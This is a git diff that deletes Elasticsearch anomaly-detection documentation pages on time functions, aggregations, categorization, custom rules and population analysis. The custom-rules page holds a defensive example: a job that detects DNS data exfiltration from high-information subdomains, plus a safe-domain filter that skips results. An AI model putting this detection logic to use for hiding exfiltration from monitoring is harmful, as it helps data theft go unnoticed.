-a `time_of_day` or `time_of_week` analysis. The time of the events being modeled
-are not affected by the bucket span, but a shorter bucket span enables quicker
-alerting on unusual events.
-* Unusual events are flagged based on the previous pattern of the data, not on
-what we might think of as unusual based on human experience. So, if events
-typically occur between 3 a.m. and 5 a.m., an event occurring at 3 p.m. is 
-flagged as unusual.
-* When Daylight Saving Time starts or stops, regular events can be flagged as
-anomalous. This situation occurs because the actual time of the event (as
-measured against a UTC baseline) has changed. This situation is treated as a
-step change in behavior and the new times will be learned quickly.
-====
-
-[discrete]
-[[ml-time-of-day]]
-== Time_of_day
-
-The `time_of_day` function detects when events occur that are outside normal
-usage patterns. For example, it detects unusual activity in the middle of the
-night.
-
-The function expects daily behavior to be similar. If you expect the behavior of
-your data to differ on Saturdays compared to Wednesdays, the `time_of_week`
-function is more appropriate.
-
-This function supports the following properties:
-
-* `by_field_name` (optional)
-* `over_field_name` (optional)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the
-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-.Example 1: Analyzing events with the time_of_day function
-[source,js]
---------------------------------------------------
-{
-  "function" : "time_of_day",
-  "by_field_name" : "process"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `time_of_day` function in a detector in your {anomaly-job}, it
-models when events occur throughout a day for each process. It detects when an
-event occurs for a process that is at an unusual time in the day compared to
-its past behavior.
-
-[discrete]
-[[ml-time-of-week]]
-== Time_of_week
-
-The `time_of_week` function detects when events occur that are outside normal
-usage patterns. For example, it detects login events on the weekend.
-
-This function supports the following properties:
-
-* `by_field_name` (optional)
-* `over_field_name` (optional)
-* `partition_field_name` (optional)
-
-For more information about those properties, see the
-{ref}/ml-put-job.html#ml-put-job-request-body[create {anomaly-jobs} API].
-
-.Example 2: Analyzing events with the time_of_week function
-[source,js]
---------------------------------------------------
-{
-  "function" : "time_of_week",
-  "by_field_name" : "eventcode",
-  "over_field_name" : "workstation"
-}
---------------------------------------------------
-// NOTCONSOLE
-
-If you use this `time_of_week` function in a detector in your {anomaly-job}, it
-models when events occur throughout the week for each `eventcode`. It detects
-when a workstation event occurs at an unusual time during the week for that
-`eventcode` compared to other workstations. It detects events for a
-particular workstation that are outside the normal usage pattern.
diff --git a/docs/reference/ml/anomaly-detection/ml-configuring-aggregations.asciidoc b/docs/reference/ml/anomaly-detection/ml-configuring-aggregations.asciidoc
deleted file mode 100644
index 7c5f82198c0..00000000000
--- a/docs/reference/ml/anomaly-detection/ml-configuring-aggregations.asciidoc
+++ /dev/null
@@ -1,330 +0,0 @@
-[role="xpack"]
-[[ml-configuring-aggregation]]
-= Aggregating data for faster performance
-
-By default, {dfeeds} fetch data from {es} using search and scroll requests.
-It can be significantly more efficient, however, to aggregate data in {es}
-and to configure your {anomaly-jobs} to analyze aggregated data.
-
-One of the benefits of aggregating data this way is that {es} automatically
-distributes these calculations across your cluster. You can then feed this
-aggregated data into the {ml-features} instead of raw results, which
-reduces the volume of data that must be considered while detecting anomalies.
-
-TIP: If you use a terms aggregation and the cardinality of a term is high, the
-aggregation might not be effective and you might want to just use the default
-search and scroll behavior.
-
-[discrete]
-[[aggs-limits-dfeeds]]
-== Requirements and limitations
-
-There are some limitations to using aggregations in {dfeeds}. Your aggregation
-must include a `date_histogram` aggregation, which in turn must contain a `max`
-aggregation on the time field. This requirement ensures that the aggregated data
-is a time series and the timestamp of each bucket is the time of the last record
-in the bucket.
-
-IMPORTANT: The name of the aggregation and the name of the field that the agg 
-operates on need to match, otherwise the aggregation doesn't work. For example, 
-if you use a `max` aggregation on a time field called `responsetime`, the name 
-of the aggregation must be also `responsetime`.
-
-You must also consider the interval of the date histogram aggregation carefully.
-The bucket span of your {anomaly-job} must be divisible by the value of the
-`calendar_interval` or `fixed_interval` in your aggregation (with no remainder).
-If you specify a `frequency` for your {dfeed}, it must also be divisible by this
-interval. {anomaly-jobs-cap} cannot use date histograms with an interval 
-measured in months because the length of the month is not fixed. {dfeeds-cap} 
-tolerate weeks or smaller units.
-
-TIP: As a rule of thumb, if your detectors use <<ml-metric-functions,metric>> or
-<<ml-sum-functions,sum>> analytical functions, set the date histogram
-aggregation interval to a tenth of the bucket span. This suggestion creates
-finer, more granular time buckets, which are ideal for this type of analysis. If
-your detectors use <<ml-count-functions,count>> or <<ml-rare-functions,rare>>
-functions, set the interval to the same value as the bucket span.
-
-If your {dfeed} uses aggregations, then the **Anomaly Explorer** in {kib} cannot 
-plot and display an anomaly chart for the job. If model plot is disabled, then 
-neither can the **Single Metric Viewer** plot and display the chart for the 
-{anomaly-job}. This limitation does not apply to single metric jobs that have 
-aggregations with names that match the fields that they operate on. Refer to 
-<<aggs-in-dfeed, this snippet>> for an example.
-
-
-[discrete]
-[[aggs-include-jobs]]
-== Including aggregations in {anomaly-jobs}
-
-When you create or update an {anomaly-job}, you can include the names of
-aggregations, for example:
-
-[source,console]
-----------------------------------
-PUT _ml/anomaly_detectors/farequote
-{
-  "analysis_config": {
-    "bucket_span": "60m",
-    "detectors": [{
-      "function": "mean",
-      "field_name": "responsetime",  <1>
-      "by_field_name": "airline"  <1>
-    }],
-    "summary_count_field_name": "doc_count"
-  },
-  "data_description": {
-    "time_field":"time"  <1>
-  }
-}
-----------------------------------
-// TEST[skip:setup:farequote_data]
-
-<1> The `airline`, `responsetime`, and `time` fields are aggregations. Only the 
-aggregated fields defined in the `analysis_config` object are analyzed by the 
-{anomaly-job}.
-
-NOTE: When the `summary_count_field_name` property is set to a non-null value,
-the job expects to receive aggregated input. The property must be set to the
-name of the field that contains the count of raw data points that have been
-aggregated. It applies to all detectors in the job.
-
-[[aggs-in-dfeed]]
-The aggregations are defined in the {dfeed} as follows:
-
-[source,console]
-----------------------------------
-PUT _ml/datafeeds/datafeed-farequote
-{
-  "job_id":"farequote",
-  "indices": ["farequote"],
-  "aggregations": {
-    "buckets": {
-      "date_histogram": {
-        "field": "time",
-        "fixed_interval": "360s",
-        "time_zone": "UTC"
-      },
-      "aggregations": {
-        "time": {  <1>
-          "max": {"field": "time"}
-        },
-        "airline": {  <2>
-          "terms": {
-            "field": "airline",
-            "size": 100
-          },
-          "aggregations": {
-            "responsetime": {  <3>
-              "avg": {
-                "field": "responsetime"
-              }
-            }
-          }
-        }
-      }
-    }
-  }
-}
-----------------------------------
-// TEST[skip:setup:farequote_job]
-
-<1> The aggregations have names that match the fields that they operate on. The 
-`max` aggregation is named `time` and its field also needs to be `time`.
-<2> The `term` aggregation is named `airline` and its field is also named 
-`airline`.
-<3> The `avg` aggregation is named `responsetime` and its field is also named 
-`responsetime`.
-
-Your {dfeed} can contain multiple aggregations, but only the ones with names 
-that match values in the job configuration are fed to the job.
-
-
-[discrete]
-[[aggs-dfeeds]]
-== Nested aggregations in {dfeeds}
-
-{dfeeds-cap} support complex nested aggregations. This example uses the 
-`derivative` pipeline aggregation to find the first order derivative of the 
-counter `system.network.out.bytes` for each value of the field `beat.name`.
-
-[source,js]
-----------------------------------
-"aggregations": {
-  "beat.name": {
-    "terms": {
-      "field": "beat.name"
-    },
-    "aggregations": {
-      "buckets": {
-        "date_histogram": {
-          "field": "@timestamp",
-          "fixed_interval": "5m"
-        },
-        "aggregations": {
-          "@timestamp": {
-            "max": {
-              "field": "@timestamp"
-            }
-          },
-          "bytes_out_average": {
-            "avg": {
-              "field": "system.network.out.bytes"
-            }
-          },
-          "bytes_out_derivative": {
-            "derivative": {
-              "buckets_path": "bytes_out_average"
-            }
-          }
-        }
-      }
-    }
-  }
-}
-----------------------------------
-// NOTCONSOLE
-
-
-[discrete]
-[[aggs-single-dfeeds]]
-== Single bucket aggregations in {dfeeds}
-
-{dfeeds-cap} not only supports multi-bucket aggregations, but also single bucket
-aggregations. The following shows two `filter` aggregations, each gathering the
-number of unique entries for the `error` field.
-
-[source,js]
-----------------------------------
-{
-  "job_id":"servers-unique-errors",
-  "indices": ["logs-*"],
-  "aggregations": {
-    "buckets": {
-      "date_histogram": {
-        "field": "time",
-        "interval": "360s",
-        "time_zone": "UTC"
-      },
-      "aggregations": {
-        "time": {
-          "max": {"field": "time"}
-        }
-        "server1": {
-          "filter": {"term": {"source": "server-name-1"}},
-          "aggregations": {
-            "server1_error_count": {
-              "value_count": {
-                "field": "error"
-              }
-            }
-          }
-        },
-        "server2": {
-          "filter": {"term": {"source": "server-name-2"}},
-          "aggregations": {
-            "server2_error_count": {
-              "value_count": {
-                "field": "error"
-              }
-            }
-          }
-        }
-      }
-    }
-  }
-}
-----------------------------------
-// NOTCONSOLE
-
-
-[discrete]
-[[aggs-define-dfeeds]]
-== Defining aggregations in {dfeeds}
-
-When you define an aggregation in a {dfeed}, it must have the following form:
-
-[source,js]
-----------------------------------
-"aggregations": {
-  ["bucketing_aggregation": {
-    "bucket_agg": {
-      ...
-    },
-    "aggregations": {]
-      "data_histogram_aggregation": {
-        "date_histogram": {
-          "field": "time",
-        },
-        "aggregations": {
-          "timestamp": {
-            "max": {
-              "field": "time"
-            }
-          },
-          [,"<first_term>": {
-            "terms":{...
-            }
-            [,"aggregations" : {
-              [<sub_aggregation>]+
-            } ]
-          }]
-        }
-      }
-    }
-  }
-}
-----------------------------------
-// NOTCONSOLE
-
-The top level aggregation must be either a
-{ref}/search-aggregations-bucket.html[bucket aggregation] containing as single
-sub-aggregation that is a `date_histogram` or the top level aggregation is the
-required `date_histogram`. There must be exactly one `date_histogram` 
-aggregation. For more information, see
-{ref}/search-aggregations-bucket-datehistogram-aggregation.html[Date histogram aggregation].
-
-NOTE: The `time_zone` parameter in the date histogram aggregation must be set to
-`UTC`, which is the default value.
-
-Each histogram bucket has a key, which is the bucket start time. This key cannot
-be used for aggregations in {dfeeds}, however, because they need to know the
-time of the latest record within a bucket. Otherwise, when you restart a 
-{dfeed}, it continues from the start time of the histogram bucket and possibly 
-fetches the same data twice. The max aggregation for the time field is therefore
-necessary to provide the time of the latest record within a bucket.
-
-You can optionally specify a terms aggregation, which creates buckets for
-different values of a field.
-
-IMPORTANT: If you use a terms aggregation, by default it returns buckets for
-the top ten terms. Thus if the cardinality of the term is greater than 10, not
-all terms are analyzed.
-
-You can change this behavior by setting the `size` parameter. To
-determine the cardinality of your data, you can run searches such as:
-
-[source,js]
---------------------------------------------------
-GET .../_search 
-{
-  "aggs": {
-    "service_cardinality": {
-      "cardinality": {
-        "field": "service"
-      }
-    }
-  }
-}
---------------------------------------------------
-// NOTCONSOLE
-
-By default, {es} limits the maximum number of terms returned to 10000. For high
-cardinality fields, the query might not run. It might return errors related to
-circuit breaking exceptions that indicate that the data is too large. In such
-cases, do not use aggregations in your {dfeed}. For more information, see
-{ref}/search-aggregations-bucket-terms-aggregation.html[Terms aggregation].
-
-You can also optionally specify multiple sub-aggregations. The sub-aggregations
-are aggregated for the buckets that were created by their parent aggregation.
-For more information, see {ref}/search-aggregations.html[Aggregations].
diff --git a/docs/reference/ml/anomaly-detection/ml-configuring-categories.asciidoc b/docs/reference/ml/anomaly-detection/ml-configuring-categories.asciidoc
deleted file mode 100644
index 0334e2603f6..00000000000
--- a/docs/reference/ml/anomaly-detection/ml-configuring-categories.asciidoc
+++ /dev/null
@@ -1,262 +0,0 @@
-[role="xpack"]
-[testenv="platinum"]
-[[ml-configuring-categories]]
-= Detecting anomalous categories of data
-
-Categorization is a {ml} process that tokenizes a text field, clusters similar
-data together, and classifies it into categories. It works best on
-machine-written messages and application output that typically consist of
-repeated elements. For example, it works well on logs that contain a finite set
-of possible messages:
-
-//Obtained from it_ops_new_app_logs.json
-[source,js]
-----------------------------------
-{"@timestamp":1549596476000,
-"message":"org.jdbi.v2.exceptions.UnableToExecuteStatementException: com.mysql.jdbc.exceptions.MySQLTimeoutException: Statement cancelled due to timeout or client request [statement:\"SELECT id, customer_id, name, force_disabled, enabled FROM customers\"]",
-"type":"logs"}
-----------------------------------
-//NOTCONSOLE
-
-Categorization is tuned to work best on data like log messages by taking token
-order into account, including stop words, and not considering synonyms in its
-analysis. Complete sentences in human communication or literary text (for
-example email, wiki pages, prose, or other human-generated content) can be 
-extremely diverse in structure. Since categorization is tuned for machine data, 
-it gives poor results for human-generated data. It would create so many
-categories that they couldn't be handled effectively. Categorization is _not_
-natural language processing (NLP).
-
-When you create a categorization {anomaly-job}, the {ml} model learns what
-volume and pattern is normal for each category over time. You can then detect
-anomalies and surface rare events or unusual types of messages by using
-<<ml-count-functions,count>> or <<ml-rare-functions,rare>> functions.
-
-In {kib}, there is a categorization wizard to help you create this type of 
-{anomaly-job}. For example, the following job generates categories from the
-contents of the `message` field and uses the count function to determine when
-certain categories are occurring at anomalous rates:
-
-[role="screenshot"]
-image::images/ml-category-wizard.jpg["Creating a categorization job in Kibana"]
-
-[%collapsible]
-.API example
-====
-[source,console]
-----------------------------------
-PUT _ml/anomaly_detectors/it_ops_app_logs
-{
-  "description" : "IT ops application logs",
-  "analysis_config" : {
-    "categorization_field_name": "message",<1>
-    "bucket_span":"30m",
-    "detectors" :[{
-      "function":"count",
-      "by_field_name": "mlcategory"<2>
-    }]
-  },
-  "data_description" : {
-    "time_field":"@timestamp"
-  }
-}
-----------------------------------
-// TEST[skip:needs-licence]
-<1> This field is used to derive categories.
-<2> The categories are used in a detector by setting `by_field_name`,
-`over_field_name`, or `partition_field_name` to the keyword `mlcategory`. If you
-do not specify this keyword in one of those properties, the API request fails.
-====
-
-
-You can use the **Anomaly Explorer** in {kib} to view the analysis results: 
-
-[role="screenshot"]
-image::images/ml-category-anomalies.jpg["Categorization results in the Anomaly Explorer"]
-
-For this type of job, the results contain extra information for each anomaly:
-the name of the category (for example, `mlcategory 2`) and examples of the
-messages in that category. You can use these details to investigate occurrences
-of unusually high message counts.
-
-If you use the advanced {anomaly-job} wizard in {kib} or the
-{ref}/ml-put-job.html[create {anomaly-jobs} API], there are additional
-configuration options. For example, the optional `categorization_examples_limit`
-property specifies the maximum number of examples that are stored in memory and
-in the results data store for each category. The default value is `4`. Note that
-this setting does not affect the categorization; it just affects the list of
-visible examples. If you increase this value, more examples are available, but
-you must have more storage available. If you set this value to `0`, no examples
-are stored.
-
-Another advanced option is the `categorization_filters` property, which can
-contain an array of regular expressions. If a categorization field value matches
-the regular expression, the portion of the field that is matched is not taken
-into consideration when defining categories. The categorization filters are
-applied in the order they are listed in the job configuration, which enables you
-to disregard multiple sections of the categorization field value. In this
-example, you might create a filter like `[ "\\[statement:.*\\]"]` to remove the
-SQL statement from the categorization algorithm.
-
-[discrete]
-[[ml-per-partition-categorization]]
-== Per-partition categorization
-
-If you enable per-partition categorization, categories are determined
-independently for each partition. For example, if your data includes messages
-from multiple types of logs from different applications, you can use a field
-like the ECS {ecs-ref}/ecs-event.html[`event.dataset` field] as the 
-`partition_field_name` and categorize the messages for each type of log
-separately.
-
-If your job has multiple detectors, every detector that uses the `mlcategory`
-keyword must also define a `partition_field_name`. You must use the same
-`partition_field_name` value in all of these detectors. Otherwise, when you
-create or update a job and enable per-partition categorization, it fails.
-
-When per-partition categorization is enabled, you can also take advantage of a
-`stop_on_warn` configuration option. If the categorization status for a
-partition changes to `warn`, it doesn't categorize well and can cause a lot of 
-unnecessary resource usage. When you set `stop_on_warn` to `true`, the job stops
-analyzing these problematic partitions. You can thus avoid an ongoing
-performance cost for partitions that are unsuitable for categorization.
-
-[discrete]
-[[ml-configuring-analyzer]]
-== Customizing the categorization analyzer
-
-Categorization uses English dictionary words to identify log message categories.
-By default, it also uses English tokenization rules. For this reason, if you use
-the default categorization analyzer, only English language log messages are
-supported, as described in the <<ml-limitations>>. 
-
-If you use the categorization wizard in {kib}, you can see which categorization
-analyzer it uses and highlighted examples of the tokens that it identifies. You
-can also change the tokenization rules by customizing the way the categorization
-field values are interpreted:
-
-[role="screenshot"]
-image::images/ml-category-analyzer.jpg["Editing the categorization analyzer in Kibana"]
-
-The categorization analyzer can refer to a built-in {es} analyzer or a
-combination of zero or more character filters, a tokenizer, and zero or more
-token filters. In this example, adding a 
-{ref}/analysis-pattern-replace-charfilter.html[`pattern_replace` character filter]
-achieves exactly the same behavior as the `categorization_filters` job
-configuration option described earlier. For more details about these properties,
-see the
-{ref}/ml-put-job.html#ml-put-job-request-body[`categorization_analyzer` API object].
-
-If you use the default categorization analyzer in {kib} or omit the
-`categorization_analyzer` property from the API, the following default values
-are used:
-
-[source,console]
---------------------------------------------------
-POST _ml/anomaly_detectors/_validate
-{
-  "analysis_config" : {
-    "categorization_analyzer" : {
-      "tokenizer" : "ml_classic",
-      "filter" : [
-        { "type" : "stop", "stopwords": [
-          "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday",
-          "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun",
-          "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December",
-          "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec",
-          "GMT", "UTC"
-        ] }
-      ]
-    },
-    "categorization_field_name": "message",
-    "detectors" :[{
-      "function":"count",
-      "by_field_name": "mlcategory"
-    }]
-  },
-  "data_description" : {
-  }
-}
---------------------------------------------------
-
-If you specify any part of the `categorization_analyzer`, however, any omitted
-sub-properties are _not_ set to default values.
-
-The `ml_classic` tokenizer and the day and month stopword filter are more or 
-less equivalent to the following analyzer, which is defined using only built-in 
-{es} {ref}/analysis-tokenizers.html[tokenizers] and
-{ref}/analysis-tokenfilters.html[token filters]:
-
-[source,console]
-----------------------------------
-PUT _ml/anomaly_detectors/it_ops_new_logs3
-{
-  "description" : "IT Ops Application Logs",
-  "analysis_config" : {
-    "categorization_field_name": "message",
-    "bucket_span":"30m",
-    "detectors" :[{
-      "function":"count",
-      "by_field_name": "mlcategory",
-      "detector_description": "Unusual message counts"
-    }],
-    "categorization_analyzer":{
-      "tokenizer": {
-        "type" : "simple_pattern_split",
-        "pattern" : "[^-0-9A-Za-z_.]+" <1>
-      },
-      "filter": [
-        { "type" : "pattern_replace", "pattern": "^[0-9].*" }, <2>
-        { "type" : "pattern_replace", "pattern": "^[-0-9A-Fa-f.]+$" }, <3>
-        { "type" : "pattern_replace", "pattern": "^[^0-9A-Za-z]+" }, <4>
-        { "type" : "pattern_replace", "pattern": "[^0-9A-Za-z]+$" }, <5>
-        { "type" : "stop", "stopwords": [
-          "",
-          "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday", "Sunday",
-          "Mon", "Tue", "Wed", "Thu", "Fri", "Sat", "Sun",
-          "January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December",
-          "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec",
-          "GMT", "UTC"
-        ] }
-      ]
-    }
-  },
-  "analysis_limits":{
-    "categorization_examples_limit": 5
-  },
-  "data_description" : {
-    "time_field":"time",
-    "time_format": "epoch_ms"
-  }
-}
-----------------------------------
-// TEST[skip:needs-licence]
-
-<1> Tokens basically consist of hyphens, digits, letters, underscores and dots.
-<2> By default, categorization ignores tokens that begin with a digit.
-<3> By default, categorization also ignores tokens that are hexadecimal numbers.
-<4> Underscores, hyphens, and dots are removed from the beginning of tokens.
-<5> Underscores, hyphens, and dots are also removed from the end of tokens.
-
-The key difference between the default `categorization_analyzer` and this 
-example analyzer is that using the `ml_classic` tokenizer is several times 
-faster. The difference in behavior is that this custom analyzer does not include 
-accented letters in tokens whereas the `ml_classic` tokenizer does, although 
-that could be fixed by using more complex regular expressions.
-
-If you are categorizing non-English messages in a language where words are
-separated by spaces, you might get better results if you change the day or month
-words in the stop token filter to the appropriate words in your language. If you
-are categorizing messages in a language where words are not separated by spaces,
-you must use a different tokenizer as well in order to get sensible
-categorization results.
-
-It is important to be aware that analyzing for categorization of machine
-generated log messages is a little different from tokenizing for search.
-Features that work well for search, such as stemming, synonym substitution, and
-lowercasing are likely to make the results of categorization worse. However, in
-order for drill down from {ml} results to work correctly, the tokens that the
-categorization analyzer produces must be similar to those produced by the search
-analyzer. If they are sufficiently similar, when you search for the tokens that
-the categorization analyzer produces then you find the original document that
-the categorization field value came from.
diff --git a/docs/reference/ml/anomaly-detection/ml-configuring-detector-custom-rules.asciidoc b/docs/reference/ml/anomaly-detection/ml-configuring-detector-custom-rules.asciidoc
deleted file mode 100644
index c8f1e3b5479..00000000000
--- a/docs/reference/ml/anomaly-detection/ml-configuring-detector-custom-rules.asciidoc
+++ /dev/null
@@ -1,238 +0,0 @@
-[role="xpack"]
-[[ml-configuring-detector-custom-rules]]
-= Customizing detectors with custom rules
-
-<<ml-rules,Custom rules>> enable you to change the behavior of anomaly
-detectors based on domain-specific knowledge.
-
-Custom rules describe _when_ a detector should take a certain _action_ instead
-of following its default behavior. To specify the _when_ a rule uses
-a `scope` and `conditions`. You can think of `scope` as the categorical
-specification of a rule, while `conditions` are the numerical part.
-A rule can have a scope, one or more conditions, or a combination of
-scope and conditions. For the full list of specification details, see the
-{ref}/ml-put-job.html#put-customrules[`custom_rules` object] in the create
-{anomaly-jobs} API.
-
-[[ml-custom-rules-scope]]
-== Specifying custom rule scope
-
-Let us assume we are configuring an {anomaly-job} in order to detect DNS data
-exfiltration. Our data contain fields "subdomain" and "highest_registered_domain".
-We can use a detector that looks like
-`high_info_content(subdomain) over highest_registered_domain`. If we run such a
-job, it is possible that we discover a lot of anomalies on frequently used
-domains that we have reasons to trust. As security analysts, we are not
-interested in such anomalies. Ideally, we could instruct the detector to skip
-results for domains that we consider safe. Using a rule with a scope allows us
-to achieve this.
-
-First, we need to create a list of our safe domains. Those lists are called 
-_filters_ in {ml}. Filters can be shared across {anomaly-jobs}.
-
-You can create a filter in **Anomaly Detection > Settings > Filter Lists** in 
-{kib} or by using the {ref}/ml-put-filter.html[put filter API]:
-
-[source,console]
-----------------------------------
-PUT _ml/filters/safe_domains
-{
-  "description": "Our list of safe domains",
-  "items": ["safe.com", "trusted.com"]
-}
-----------------------------------
-// TEST[skip:needs-licence]
-
-Now, we can create our {anomaly-job} specifying a scope that uses the
-`safe_domains` filter for the `highest_registered_domain` field:
-
-[source,console]
-----------------------------------
-PUT _ml/anomaly_detectors/dns_exfiltration_with_rule
-{
-  "analysis_config" : {
-    "bucket_span":"5m",
-    "detectors" :[{
-      "function":"high_info_content",
-      "field_name": "subdomain",
-      "over_field_name": "highest_registered_domain",
-      "custom_rules": [{
-        "actions": ["skip_result"],
-        "scope": {
-          "highest_registered_domain": {
-            "filter_id": "safe_domains",
-            "filter_type": "include"
-          }
-        }
-      }]
-    }]
-  },
-  "data_description" : {
-    "time_field":"timestamp"
-  }
-}
-----------------------------------
-// TEST[skip:needs-licence]
-
-As time advances and we see more data and more results, we might encounter new 
-domains that we want to add in the filter. We can do that in the
-**Anomaly Detection > Settings > Filter Lists** in {kib} or by using the 
-{ref}/ml-update-filter.html[update filter API]:
-
-[source,console]
-----------------------------------
-POST _ml/filters/safe_domains/_update
-{
-  "add_items": ["another-safe.com"]
-}
-----------------------------------
-// TEST[skip:setup:ml_filter_safe_domains]
-
-Note that we can use any of the `partition_field_name`, `over_field_name`, or 
-`by_field_name` fields in the `scope`.
-
-In the following example we scope multiple fields:
-
-[source,console]
-----------------------------------
-PUT _ml/anomaly_detectors/scoping_multiple_fields
-{
-  "analysis_config" : {
-    "bucket_span":"5m",
-    "detectors" :[{
-      "function":"count",
-      "partition_field_name": "my_partition",
-      "over_field_name": "my_over",
-      "by_field_name": "my_by",
-      "custom_rules": [{
-        "actions": ["skip_result"],
-        "scope": {
-          "my_partition": {
-            "filter_id": "filter_1"
-          },
-          "my_over": {
-            "filter_id": "filter_2"
-          },
-          "my_by": {
-            "filter_id": "filter_3"
-          }
-        }
-      }]
-    }]
-  },
-  "data_description" : {
-    "time_field":"timestamp"
-  }
-}
-----------------------------------
-// TEST[skip:needs-licence]
-
-Such a detector will skip results when the values of all 3 scoped fields
-are included in the referenced filters.
-
-[[ml-custom-rules-conditions]]
-== Specifying custom rule conditions
-
-Imagine a detector that looks for anomalies in CPU utilization.
-Given a machine that is idle for long enough, small movement in CPU could
-result in anomalous results where the `actual` value is quite small, for 
-example, 0.02. Given our knowledge about how CPU utilization behaves we might 
-determine that anomalies with such small actual values are not interesting for 
-investigation.
-
-Let us now configure an {anomaly-job} with a rule that will skip results where
-CPU utilization is less than 0.20.
-
-[source,console]
-----------------------------------
-PUT _ml/anomaly_detectors/cpu_with_rule
-{
-  "analysis_config" : {
-    "bucket_span":"5m",
-    "detectors" :[{
-      "function":"high_mean",
-      "field_name": "cpu_utilization",
-      "custom_rules": [{
-        "actions": ["skip_result"],
-        "conditions": [
-          {
-            "applies_to": "actual",
-            "operator": "lt",
-            "value": 0.20
-          }
-        ]
-      }]
-    }]
-  },
-  "data_description" : {
-    "time_field":"timestamp"
-  }
-}
-----------------------------------
-// TEST[skip:needs-licence]
-
-When there are multiple conditions they are combined with a logical `and`.
-This is useful when we want the rule to apply to a range. We simply create
-a rule with two conditions, one for each end of the desired range.
-
-Here is an example where a count detector will skip results when the count
-is greater than 30 and less than 50:
-
-[source,console]
-----------------------------------
-PUT _ml/anomaly_detectors/rule_with_range
-{
-  "analysis_config" : {
-    "bucket_span":"5m",
-    "detectors" :[{
-      "function":"count",
-      "custom_rules": [{
-        "actions": ["skip_result"],
-        "conditions": [
-          {
-            "applies_to": "actual",
-            "operator": "gt",
-            "value": 30
-          },
-          {
-            "applies_to": "actual",
-            "operator": "lt",
-            "value": 50
-          }
-        ]
-      }]
-    }]
-  },
-  "data_description" : {
-    "time_field":"timestamp"
-  }
-}
-----------------------------------
-// TEST[skip:needs-licence]
-
-[[ml-custom-rules-lifecycle]]
-== Custom rules in the lifecycle of a job
-
-Custom rules only affect results created after the rules were applied.
-Let us imagine that we have configured an {anomaly-job} and it has been running
-for some time. After observing its results we decide that we can employ
-rules in order to get rid of some uninteresting results. We can use
-the {ref}/ml-update-job.html[update {anomaly-job} API] to do so. However, the
-rule we added will only be in effect for any results created from the moment we
-added the rule onwards. Past results will remain unaffected.
-
-[[ml-custom-rules-filtering]]
-== Using custom rules vs. filtering data
-
-It might appear like using rules is just another way of filtering the data
-that feeds into an {anomaly-job}. For example, a rule that skips results when
-the partition field value is in a filter sounds equivalent to having a query
-that filters out such documents. But it is not. There is a fundamental
-difference. When the data is filtered before reaching a job it is as if they
-never existed for the job. With rules, the data still reaches the job and
-affects its behavior (depending on the rule actions).
-
-For example, a rule with the `skip_result` action means all data will still
-be modeled. On the other hand, a rule with the `skip_model_update` action means
-results will still be created even though the model will not be updated by
-data matched by a rule.
diff --git a/docs/reference/ml/anomaly-detection/ml-configuring-populations.asciidoc b/docs/reference/ml/anomaly-detection/ml-configuring-populations.asciidoc
deleted file mode 100644
index 907d1ca6bf7..00000000000
--- a/docs/reference/ml/anomaly-detection/ml-configuring-populations.asciidoc
+++ /dev/null
@@ -1,87 +0,0 @@
-[role="xpack"]
-[[ml-configuring-populations]]
-= Performing population analysis
-
-Entities or events in your data can be considered anomalous when:
-
-* Their behavior changes over time, relative to their own previous behavior, or
-* Their behavior is different than other entities in a specified population.
-
-The latter method of detecting outliers is known as _population analysis_. The
-{ml} analytics build a profile of what a "typical" user, machine, or other entity
-does over a specified time period and then identify when one is behaving
-abnormally compared to the population.
-
-This type of analysis is most useful when the behavior of the population as a
-whole is mostly homogeneous and you want to identify outliers. In general,
-population analysis is not useful when members of the population inherently
-have vastly different behavior. You can, however, segment your data into groups
-that behave similarly and run these as separate jobs. For example, you can use a
-query filter in the {dfeed} to segment your data or you can use the
-`partition_field_name` to split the analysis for the different groups.
-
-Population analysis scales well and has a lower resource footprint than
-individual analysis of each series. For example, you can analyze populations
-of hundreds of thousands or millions of entities.
-
-To specify the population, use the `over_field_name` property. For example:
-
-[source,console]
-----------------------------------
-PUT _ml/anomaly_detectors/population
-{
-  "description" : "Population analysis",
-  "analysis_config" : {
-    "bucket_span":"15m",
-    "influencers": [
-      "clientip"
-    ],
-    "detectors": [
-      {
-        "function": "mean",
-        "field_name": "bytes",
-        "over_field_name": "clientip" <1>
-      }
-    ]
-  },
-  "data_description" : {
-    "time_field":"timestamp",
-    "time_format": "epoch_ms"
-  }
-}
-----------------------------------
-// TEST[skip:needs-licence]
-
-<1> This `over_field_name` property indicates that the metrics for each client (
-  as identified by their IP address) are analyzed relative to other clients
-  in each bucket.
-
-If your data is stored in {es}, you can use the population job wizard in {kib}
-to create an {anomaly-job} with these same properties. For example, if you add
-the sample web logs in {kib}, you can use the following job settings in the
-population job wizard:
-
-[role="screenshot"]
-image::images/ml-population-job.png["Job settings in the population job wizard]
-
-After you open the job and start the {dfeed} or supply data to the job, you can
-view the results in {kib}. For example, you can view the results in the
-**Anomaly Explorer**:
-
-[role="screenshot"]
-image::images/ml-population-results.png["Population analysis results in the Anomaly Explorer"]
-
-As in this case, the results are often quite sparse. There might be just a few
-data points for the selected time period. Population analysis is particularly
-useful when you have many entities and the data for specific entitles is sporadic
-or sparse.
-
-If you click on a section in the timeline or swim lanes, you can see more
-details about the anomalies:
-
-[role="screenshot"]
-image::images/ml-population-anomaly.png["Anomaly details for a specific user"]
-
-In this example, the client IP address `30.156.16.164` received a low volume of
-bytes on the date and time shown. This event is anomalous because the mean is
-three times lower than the expected behavior of the population.
diff --git a/docs/reference/ml/anomaly-detection/ml-configuring-transform.asciidoc b/docs/reference/ml/anomaly-detection/ml-configuring-transform.asciidoc
deleted file mode 100644
index 3c1b0c98017..00000000000
--- a/docs/reference/ml/anomaly-detection/ml-configuring-transform.asciidoc
+++ /dev/null
@@ -1,587 +0,0 @@
-[role="xpack"]
-[[ml-configuring-transform]]
-= Transforming data with script fields
-
-If you use {dfeeds}, you can add scripts to transform your data before
-it is analyzed. {dfeeds-cap} contain an optional `script_fields` property, where
